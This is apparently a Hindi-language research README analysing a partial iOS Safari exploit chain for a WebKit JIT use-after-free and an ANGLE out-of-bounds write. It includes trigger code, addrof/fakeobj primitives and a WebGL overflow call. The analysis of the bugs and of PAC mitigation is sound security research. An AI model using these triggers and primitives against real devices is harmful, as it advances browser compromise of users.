
CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) एक्सप्लॉइट श्रृंखला का विश्लेषण - iOS Safari
WebKit/ANGLE श्रृंखला के लिए iOS 26.1 पर नोट्स और PoC सामग्री। यह पूर्ण एक्सप्लॉइट नहीं है; यह सत्यापित प्रिमिटिव्स को उन हिस्सों से अलग करता है जो अभी भी विफल होते हैं।
लेखक: zeroxjf
आधारित: jir4vv1t का CVE-2025-43529 एक्सप्लॉइट
स्थिति: आंशिक श्रृंखला; मनमाना R/W सिद्ध नहीं
परीक्षण डिवाइस: iPhone 11 Pro Max, iOS 26.1
अंतिम अपडेट: जनवरी 2026
CVE-2025-43529 UAF ट्रिगर, बटरफ्लाई रिक्लेम, और addrof/fakeobj प्रिमिटिव्स jir4vv1t के काम पर आधारित हैं। मेरे अतिरिक्त योगदान हैं ANGLE OOB प्लंबिंग, PAC-केंद्रित विश्लेषण, और iOS 26.1 सत्यापन।
दो WebKit CVE एक साथ खुलासा किए गए और Apple द्वारा इन-द-वाइल्ड उपयोग के रूप में रिपोर्ट किए गए।
| CVE | घटक | प्रकार | सारांश |
|---|---|---|---|
| CVE-2025-43529 | JavaScriptCore | Use-After-Free | DFG JIT में राइट बैरियर की कमी के कारण GC जीवित ऑब्जेक्ट्स को मुक्त कर देता है |
| CVE-2025-14174 | ANGLE (GPU) | Out-of-Bounds Write | Metal बैकएंड स्टेजिंग बफर आवंटन के लिए गलत ऊंचाई का उपयोग करता है |
यह बग JavaScriptCore के DFG JIT में है, विशेष रूप से Store Barrier Insertion Phase (DFGStoreBarrierInsertionPhase.cpp) में।
जब कोई Phi node escapes (बाहर निकल जाता है) लेकिन उसके Upsilon इनपुट्स escaped के रूप में चिह्नित नहीं होते, तो बाद के स्टोर्स राइट बैरियर से चूक जाते हैं। इससे GC अभी भी पहुंच योग्य ऑब्जेक्ट्स को मुक्त कर सकता है।
function triggerUAF(flag, k, allocCount) {
let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
arr[arr_index] = A; // A in old space
let a = new Date(1111);
a[0] = 1.1; // Creates butterfly for Date
// Force GC
for (let j = 0; j < allocCount; ++j) {
forGC.push(new ArrayBuffer(0x800000));
}
let b = { p0: 0x42424242, p1: 1.1 };
// Phi node - the bug
let f = b;
if (flag) f = 1.1;
A.p1 = f; // Phi escapes, but 'b' NOT marked as escaped
// Long loop = GC race window
for (let i = 0; i < 1e6; ++i) { /* ... */ }
b.p1 = a; // NO WRITE BARRIER - 'a' freed while still reachable
}
मुक्त किए गए Date का बटरफ्लाई स्प्रे अरेज़ द्वारा दोबारा प्राप्त किया जा सकता है, जिससे टाइप कन्फ्यूज़न पैदा होता है:
// After reclaim:
boxed_arr[0] = obj; // Store object reference
addr = ftoi(unboxed_arr[0]); // Read as float64 = leaked address
unboxed_arr[0] = itof(addr); // Write address as float64
fake = boxed_arr[0]; // Read as object = fakeobj
ANGLE के Metal बैकएंड (TextureMtl.cpp) में, स्टेजिंग बफर आवंटन PBO के माध्यम से अपलोड करते समय वास्तविक टेक्सचर ऊंचाई के बजाय UNPACK_IMAGE_HEIGHT का उपयोग करता है।
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // Small value
// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write: 256 * 256 * 4 = 256KB
// OOB: 240KB!
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
arm64e (iPhone 11 Pro Max) पर, Pointer Authentication Codes महत्वपूर्ण JSC पॉइंटर्स की सुरक्षा करते हैं:
| पॉइंटर | संरक्षित | परिणाम |
|---|---|---|
TypedArray m_vector | हाँ | मनमाना बैकिंग स्टोर वाला TypedArray फेक नहीं किया जा सकता |
JSArray butterfly | हाँ | मनमाना बटरफ्लाई वाला JSArray फेक नहीं किया जा सकता |
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)
टाइप कन्फ्यूज़न सफल होता है क्योंकि दोनों अरे वैध रूप से हस्ताक्षरित बटरफ्लाई पॉइंटर्स का उपयोग करते हैं - हम केवल उसी मेमोरी की पुनर्व्याख्या कर रहे हैं। मनमाने अहस्ताक्षरित पॉइंटर्स वाले फेक ऑब्जेक्ट्स PAC जांच पर क्रैश होते हैं।
addrof, fakeobj, एड्रेस लीक्स, ज्ञात ऑब्जेक्ट्स पर इनलाइन-स्लॉट रीड/राइटread64/write64, रेंडरर→GPU एस्केप चेन, सैंडबॉक्स एस्केप├── README.md # This file
├── poc/
│ └── chained_exploit_probe.html
└── analysis/
├── pac_analysis.md # Detailed PAC findings
└── crash_logs/ # Example crash reports
CVE-2025-43529 ट्रिगर, बटरफ्लाई रिक्लेम तकनीक, और addrof/fakeobj निर्माण jir4vv1t/CVE-2025-43529 पर आधारित हैं। यह रिपॉजिटरी iOS 26.1 सत्यापन, PAC नोट्स, और ANGLE OOB प्लंबिंग जोड़ती है।
वर्तमान स्थिति: JSC प्रिमिटिव और PAC ब्लॉकर को रिप्रोड्यूस करने के लिए उपयोगी; पूर्ण एक्सप्लॉइट चेन नहीं।
| प्रिमिटिव | स्थिति | नोट्स |
|---|
addrof(obj) | कार्यशील | प्रोब में सत्यापित |
fakeobj(addr) | कार्यशील | ज्ञात ऑब्जेक्ट्स के विरुद्ध सत्यापित |
| Address leaking | कार्यशील | प्रति रन 20+ पते |
| Inline slot read/write | कार्यशील | ज्ञात इनलाइन स्लॉट्स पर सत्यापित (ऑब्जेक्ट-एड्रेस-आधारित) |
read64(addr) | असत्यापित | इनलाइन-स्लॉट ट्रिक के माध्यम से निर्मित, प्रमाण विफल रहा |
write64(addr) | असत्यापित | इनलाइन-स्लॉट ट्रिक के माध्यम से निर्मित, प्रमाण विफल रहा |